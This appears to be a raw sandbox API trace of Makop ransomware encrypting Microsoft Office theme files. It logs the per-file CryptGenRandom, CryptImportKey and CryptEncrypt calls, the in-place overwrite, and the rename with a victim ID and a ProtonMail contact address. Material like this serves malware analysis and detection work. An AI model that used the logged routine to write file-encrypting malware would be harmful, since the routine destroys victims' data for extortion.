1 [0157.151] wsprintfW (in: param_1=0x6579ff0, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Essential.thmx") returned 67 [0157.152] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Essential.thmx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\essential.thmx"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x124 [0157.154] GetProcessHeap () returned 0x48a0000 [0157.154] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0157.154] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0157.154] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6579548 | out: lpNewFilePointer=0x0) returned 1 [0157.154] WriteFile (in: hFile=0x124, lpBuffer=0x6579558*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6579528, lpOverlapped=0x0 | out: lpBuffer=0x6579558*, lpNumberOfBytesWritten=0x6579528*=0x8, lpOverlapped=0x0) returned 1 [0157.159] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x657952c | out: phKey=0x657952c*=0x48c70e8) returned 1 [0157.159] CryptSetKeyParam (hKey=0x48c70e8, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0157.159] GetProcessHeap () returned 0x48a0000 [0157.159] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbec8 [0157.159] CryptEncrypt (in: hKey=0x48c70e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbec8*, pdwDataLen=0x6579510*=0x40, dwBufLen=0x40 | out: pbData=0x48bbec8*, pdwDataLen=0x6579510*=0x40) returned 1 [0157.159] CryptDestroyKey (hKey=0x48c70e8) returned 1 [0157.159] WriteFile (in: hFile=0x124, lpBuffer=0x48bbec8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6579528, lpOverlapped=0x0 | out: lpBuffer=0x48bbec8*, lpNumberOfBytesWritten=0x6579528*=0x40, lpOverlapped=0x0) returned 1 [0157.159] WriteFile (in: hFile=0x124, lpBuffer=0x6579530*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6579528, lpOverlapped=0x0 | out: lpBuffer=0x6579530*, lpNumberOfBytesWritten=0x6579528*=0x4, lpOverlapped=0x0) returned 1 [0157.159] WriteFile (in: hFile=0x124, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6579528, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6579528*=0x10, lpOverlapped=0x0) returned 1 [0157.159] WriteFile (in: hFile=0x124, lpBuffer=0x48c3e78*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6579528, lpOverlapped=0x0 | out: lpBuffer=0x48c3e78*, lpNumberOfBytesWritten=0x6579528*=0x80, lpOverlapped=0x0) returned 1 [0157.160] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6579550 | out: lpNewFilePointer=0x0) returned 1 [0157.160] WriteFile (in: hFile=0x124, lpBuffer=0x6579540*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6579528, lpOverlapped=0x0 | out: lpBuffer=0x6579540*, lpNumberOfBytesWritten=0x6579528*=0x8, lpOverlapped=0x0) returned 1 [0157.160] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x657952c | out: phKey=0x657952c*=0x48c70e8) returned 1 [0157.160] CryptSetKeyParam (hKey=0x48c70e8, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0157.160] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0157.160] ReadFile (in: hFile=0x124, lpBuffer=0x6370020, nNumberOfBytesToRead=0xc278, lpNumberOfBytesRead=0x6579534, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6579534*=0xc278, lpOverlapped=0x0) returned 1 [0157.163] CryptEncrypt (in: hKey=0x48c70e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6579510*=0xc280, dwBufLen=0xc280 | out: pbData=0x6370020*, pdwDataLen=0x6579510*=0xc280) returned 1 [0157.164] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0157.164] WriteFile (in: hFile=0x124, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0xc280, lpNumberOfBytesWritten=0x6579528, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6579528*=0xc280, lpOverlapped=0x0) returned 1 [0157.165] CryptDestroyKey (hKey=0x48c70e8) returned 1 [0157.165] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0xc354, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0157.165] SetEndOfFile (hFile=0x124) returned 1 [0157.173] GetProcessHeap () returned 0x48a0000 [0157.173] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbec8 | out: hHeap=0x48a0000) returned 1 [0157.173] GetProcessHeap () returned 0x48a0000 [0157.173] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0157.173] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Essential.thmx.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 114 [0157.173] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Essential.thmx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\essential.thmx"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Essential.thmx.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\microsoft office\\document themes 14\\essential.thmx.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0157.175] CloseHandle (hObject=0x124) returned 1 [0157.175] FindNextFileW (in: hFindFile=0x48c70a8, lpFindFileData=0x65795a0 | out: lpFindFileData=0x65795a0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x773dcf00, ftCreationTime.dwHighDateTime=0x1cbded9, ftLastAccessTime.dwLowDateTime=0xe5ae6080, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x773dcf00, ftLastWriteTime.dwHighDateTime=0x1cbded9, nFileSizeHigh=0x0, nFileSizeLow=0xd748, dwReserved0=0x0, dwReserved1=0x0, cFileName="Executive.thmx", cAlternateFileName="EXECUT~1.THM")) returned 1 [0157.175] wsprintfW (in: param_1=0x6579ff0, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Executive.thmx") returned 67 [0157.175] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Executive.thmx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\executive.thmx"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x124 [0157.177] GetProcessHeap () returned 0x48a0000 [0157.177] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0157.177] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0157.177] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6579548 | out: lpNewFilePointer=0x0) returned 1 [0157.177] WriteFile (in: hFile=0x124, lpBuffer=0x6579558*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6579528, lpOverlapped=0x0 | out: lpBuffer=0x6579558*, lpNumberOfBytesWritten=0x6579528*=0x8, lpOverlapped=0x0) returned 1 [0157.181] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x657952c | out: phKey=0x657952c*=0x48c70e8) returned 1 [0157.181] CryptSetKeyParam (hKey=0x48c70e8, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0157.182] GetProcessHeap () returned 0x48a0000 [0157.182] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbec8 [0157.182] CryptEncrypt (in: hKey=0x48c70e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbec8*, pdwDataLen=0x6579510*=0x40, dwBufLen=0x40 | out: pbData=0x48bbec8*, pdwDataLen=0x6579510*=0x40) returned 1 [0157.182] CryptDestroyKey (hKey=0x48c70e8) returned 1 [0157.182] WriteFile (in: hFile=0x124, lpBuffer=0x48bbec8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6579528, lpOverlapped=0x0 | out: lpBuffer=0x48bbec8*, lpNumberOfBytesWritten=0x6579528*=0x40, lpOverlapped=0x0) returned 1 [0157.182] WriteFile (in: hFile=0x124, lpBuffer=0x6579530*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6579528, lpOverlapped=0x0 | out: lpBuffer=0x6579530*, lpNumberOfBytesWritten=0x6579528*=0x4, lpOverlapped=0x0) returned 1 [0157.182] WriteFile (in: hFile=0x124, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6579528, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6579528*=0x10, lpOverlapped=0x0) returned 1 [0157.183] WriteFile (in: hFile=0x124, lpBuffer=0x48c0640*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6579528, lpOverlapped=0x0 | out: lpBuffer=0x48c0640*, lpNumberOfBytesWritten=0x6579528*=0x80, lpOverlapped=0x0) returned 1 [0157.183] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6579550 | out: lpNewFilePointer=0x0) returned 1 [0157.183] WriteFile (in: hFile=0x124, lpBuffer=0x6579540*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6579528, lpOverlapped=0x0 | out: lpBuffer=0x6579540*, lpNumberOfBytesWritten=0x6579528*=0x8, lpOverlapped=0x0) returned 1 [0157.183] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x657952c | out: phKey=0x657952c*=0x48c70e8) returned 1 [0157.183] CryptSetKeyParam (hKey=0x48c70e8, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0157.183] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0157.184] ReadFile (in: hFile=0x124, lpBuffer=0x6370020, nNumberOfBytesToRead=0xd748, lpNumberOfBytesRead=0x6579534, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6579534*=0xd748, lpOverlapped=0x0) returned 1 [0157.186] CryptEncrypt (in: hKey=0x48c70e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6579510*=0xd750, dwBufLen=0xd750 | out: pbData=0x6370020*, pdwDataLen=0x6579510*=0xd750) returned 1 [0157.186] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0157.187] WriteFile (in: hFile=0x124, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0xd750, lpNumberOfBytesWritten=0x6579528, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6579528*=0xd750, lpOverlapped=0x0) returned 1 [0157.187] CryptDestroyKey (hKey=0x48c70e8) returned 1 [0157.187] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0xd824, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0157.187] SetEndOfFile (hFile=0x124) returned 1 [0157.195] GetProcessHeap () returned 0x48a0000 [0157.195] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbec8 | out: hHeap=0x48a0000) returned 1 [0157.195] GetProcessHeap () returned 0x48a0000 [0157.195] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0157.195] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Executive.thmx.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 114 [0157.195] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Executive.thmx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\executive.thmx"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Executive.thmx.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\microsoft office\\document themes 14\\executive.thmx.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0157.197] CloseHandle (hObject=0x124) returned 1 [0157.197] FindNextFileW (in: hFindFile=0x48c70a8, lpFindFileData=0x65795a0 | out: lpFindFileData=0x65795a0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x11e9de00, ftCreationTime.dwHighDateTime=0x1cbded9, ftLastAccessTime.dwLowDateTime=0xe5ae6080, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x11e9de00, ftLastWriteTime.dwHighDateTime=0x1cbded9, nFileSizeHigh=0x0, nFileSizeLow=0x100a8, dwReserved0=0x0, dwReserved1=0x0, cFileName="Flow.thmx", cAlternateFileName="FLOW~1.THM")) returned 1 [0157.197] wsprintfW (in: param_1=0x6579ff0, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Flow.thmx") returned 62 [0157.197] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Flow.thmx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\flow.thmx"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x124 [0157.200] GetProcessHeap () returned 0x48a0000 [0157.200] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0157.200] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0157.200] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6579548 | out: lpNewFilePointer=0x0) returned 1 [0157.200] WriteFile (in: hFile=0x124, lpBuffer=0x6579558*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6579528, lpOverlapped=0x0 | out: lpBuffer=0x6579558*, lpNumberOfBytesWritten=0x6579528*=0x8, lpOverlapped=0x0) returned 1 [0157.204] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x657952c | out: phKey=0x657952c*=0x48c70e8) returned 1 [0157.204] CryptSetKeyParam (hKey=0x48c70e8, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0157.204] GetProcessHeap () returned 0x48a0000 [0157.204] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x30) returned 0x48c37a8 [0157.204] CryptEncrypt (in: hKey=0x48c70e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48c37a8*, pdwDataLen=0x6579510*=0x30, dwBufLen=0x30 | out: pbData=0x48c37a8*, pdwDataLen=0x6579510*=0x30) returned 1 [0157.204] CryptDestroyKey (hKey=0x48c70e8) returned 1 [0157.204] WriteFile (in: hFile=0x124, lpBuffer=0x48c37a8*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x6579528, lpOverlapped=0x0 | out: lpBuffer=0x48c37a8*, lpNumberOfBytesWritten=0x6579528*=0x30, lpOverlapped=0x0) returned 1 [0157.205] WriteFile (in: hFile=0x124, lpBuffer=0x6579530*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6579528, lpOverlapped=0x0 | out: lpBuffer=0x6579530*, lpNumberOfBytesWritten=0x6579528*=0x4, lpOverlapped=0x0) returned 1 [0157.205] WriteFile (in: hFile=0x124, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6579528, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6579528*=0x10, lpOverlapped=0x0) returned 1 [0157.205] WriteFile (in: hFile=0x124, lpBuffer=0x48c3e78*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6579528, lpOverlapped=0x0 | out: lpBuffer=0x48c3e78*, lpNumberOfBytesWritten=0x6579528*=0x80, lpOverlapped=0x0) returned 1 [0157.205] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6579550 | out: lpNewFilePointer=0x0) returned 1 [0157.205] WriteFile (in: hFile=0x124, lpBuffer=0x6579540*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6579528, lpOverlapped=0x0 | out: lpBuffer=0x6579540*, lpNumberOfBytesWritten=0x6579528*=0x8, lpOverlapped=0x0) returned 1 [0157.205] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x657952c | out: phKey=0x657952c*=0x48c70e8) returned 1 [0157.205] CryptSetKeyParam (hKey=0x48c70e8, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0157.206] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0157.206] ReadFile (in: hFile=0x124, lpBuffer=0x6370020, nNumberOfBytesToRead=0x100a8, lpNumberOfBytesRead=0x6579534, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6579534*=0x100a8, lpOverlapped=0x0) returned 1 [0157.208] CryptEncrypt (in: hKey=0x48c70e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6579510*=0x100b0, dwBufLen=0x100b0 | out: pbData=0x6370020*, pdwDataLen=0x6579510*=0x100b0) returned 1 [0157.209] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0157.209] WriteFile (in: hFile=0x124, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x100b0, lpNumberOfBytesWritten=0x6579528, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6579528*=0x100b0, lpOverlapped=0x0) returned 1 [0157.210] CryptDestroyKey (hKey=0x48c70e8) returned 1 [0157.210] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x10174, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0157.210] SetEndOfFile (hFile=0x124) returned 1 [0157.230] GetProcessHeap () returned 0x48a0000 [0157.230] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48c37a8 | out: hHeap=0x48a0000) returned 1 [0157.230] GetProcessHeap () returned 0x48a0000 [0157.230] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0157.230] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Flow.thmx.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 109 [0157.230] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Flow.thmx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\flow.thmx"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Flow.thmx.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\microsoft office\\document themes 14\\flow.thmx.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0157.232] CloseHandle (hObject=0x124) returned 1 [0157.232] FindNextFileW (in: hFindFile=0x48c70a8, lpFindFileData=0x65795a0 | out: lpFindFileData=0x65795a0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe565700, ftCreationTime.dwHighDateTime=0x1cbded9, ftLastAccessTime.dwLowDateTime=0xe5b0c1e0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xe565700, ftLastWriteTime.dwHighDateTime=0x1cbded9, nFileSizeHigh=0x0, nFileSizeLow=0xf814, dwReserved0=0x0, dwReserved1=0x0, cFileName="Foundry.thmx", cAlternateFileName="FOUNDR~1.THM")) returned 1 [0157.232] wsprintfW (in: param_1=0x6579ff0, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Foundry.thmx") returned 65 [0157.232] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Foundry.thmx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\foundry.thmx"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x124 [0157.235] GetProcessHeap () returned 0x48a0000 [0157.235] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0157.235] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0157.235] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6579548 | out: lpNewFilePointer=0x0) returned 1 [0157.235] WriteFile (in: hFile=0x124, lpBuffer=0x6579558*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x6579528, lpOverlapped=0x0 | out: lpBuffer=0x6579558*, lpNumberOfBytesWritten=0x6579528*=0xc, lpOverlapped=0x0) returned 1 [0157.240] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x657952c | out: phKey=0x657952c*=0x48c70e8) returned 1 [0157.240] CryptSetKeyParam (hKey=0x48c70e8, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0157.240] GetProcessHeap () returned 0x48a0000 [0157.240] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbec8 [0157.240] CryptEncrypt (in: hKey=0x48c70e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbec8*, pdwDataLen=0x6579510*=0x40, dwBufLen=0x40 | out: pbData=0x48bbec8*, pdwDataLen=0x6579510*=0x40) returned 1 [0157.240] CryptDestroyKey (hKey=0x48c70e8) returned 1 [0157.240] WriteFile (in: hFile=0x124, lpBuffer=0x48bbec8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6579528, lpOverlapped=0x0 | out: lpBuffer=0x48bbec8*, lpNumberOfBytesWritten=0x6579528*=0x40, lpOverlapped=0x0) returned 1 [0157.240] WriteFile (in: hFile=0x124, lpBuffer=0x6579530*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6579528, lpOverlapped=0x0 | out: lpBuffer=0x6579530*, lpNumberOfBytesWritten=0x6579528*=0x4, lpOverlapped=0x0) returned 1 [0157.240] WriteFile (in: hFile=0x124, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6579528, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6579528*=0x10, lpOverlapped=0x0) returned 1 [0157.241] WriteFile (in: hFile=0x124, lpBuffer=0x48c0640*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6579528, lpOverlapped=0x0 | out: lpBuffer=0x48c0640*, lpNumberOfBytesWritten=0x6579528*=0x80, lpOverlapped=0x0) returned 1 [0157.241] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6579550 | out: lpNewFilePointer=0x0) returned 1 [0157.241] WriteFile (in: hFile=0x124, lpBuffer=0x6579540*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6579528, lpOverlapped=0x0 | out: lpBuffer=0x6579540*, lpNumberOfBytesWritten=0x6579528*=0x8, lpOverlapped=0x0) returned 1 [0157.241] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x657952c | out: phKey=0x657952c*=0x48c70e8) returned 1 [0157.241] CryptSetKeyParam (hKey=0x48c70e8, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0157.241] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0157.241] ReadFile (in: hFile=0x124, lpBuffer=0x6370020, nNumberOfBytesToRead=0xf814, lpNumberOfBytesRead=0x6579534, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6579534*=0xf814, lpOverlapped=0x0) returned 1 [0157.244] CryptEncrypt (in: hKey=0x48c70e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6579510*=0xf820, dwBufLen=0xf820 | out: pbData=0x6370020*, pdwDataLen=0x6579510*=0xf820) returned 1 [0157.244] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0157.244] WriteFile (in: hFile=0x124, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0xf820, lpNumberOfBytesWritten=0x6579528, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6579528*=0xf820, lpOverlapped=0x0) returned 1 [0157.246] CryptDestroyKey (hKey=0x48c70e8) returned 1 [0157.246] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0xf8f4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0157.246] SetEndOfFile (hFile=0x124) returned 1 [0157.254] GetProcessHeap () returned 0x48a0000 [0157.254] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbec8 | out: hHeap=0x48a0000) returned 1 [0157.254] GetProcessHeap () returned 0x48a0000 [0157.254] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0157.254] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Foundry.thmx.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 112 [0157.255] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Foundry.thmx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\foundry.thmx"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Foundry.thmx.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\microsoft office\\document themes 14\\foundry.thmx.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0157.256] CloseHandle (hObject=0x124) returned 1 [0157.256] FindNextFileW (in: hFindFile=0x48c70a8, lpFindFileData=0x65795a0 | out: lpFindFileData=0x65795a0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4b224e00, ftCreationTime.dwHighDateTime=0x1cbded9, ftLastAccessTime.dwLowDateTime=0xe5b0c1e0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x4b224e00, ftLastWriteTime.dwHighDateTime=0x1cbded9, nFileSizeHigh=0x0, nFileSizeLow=0xd2e0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Grid.thmx", cAlternateFileName="GRID~1.THM")) returned 1 [0157.257] wsprintfW (in: param_1=0x6579ff0, param_2="%s\\%s" | out: 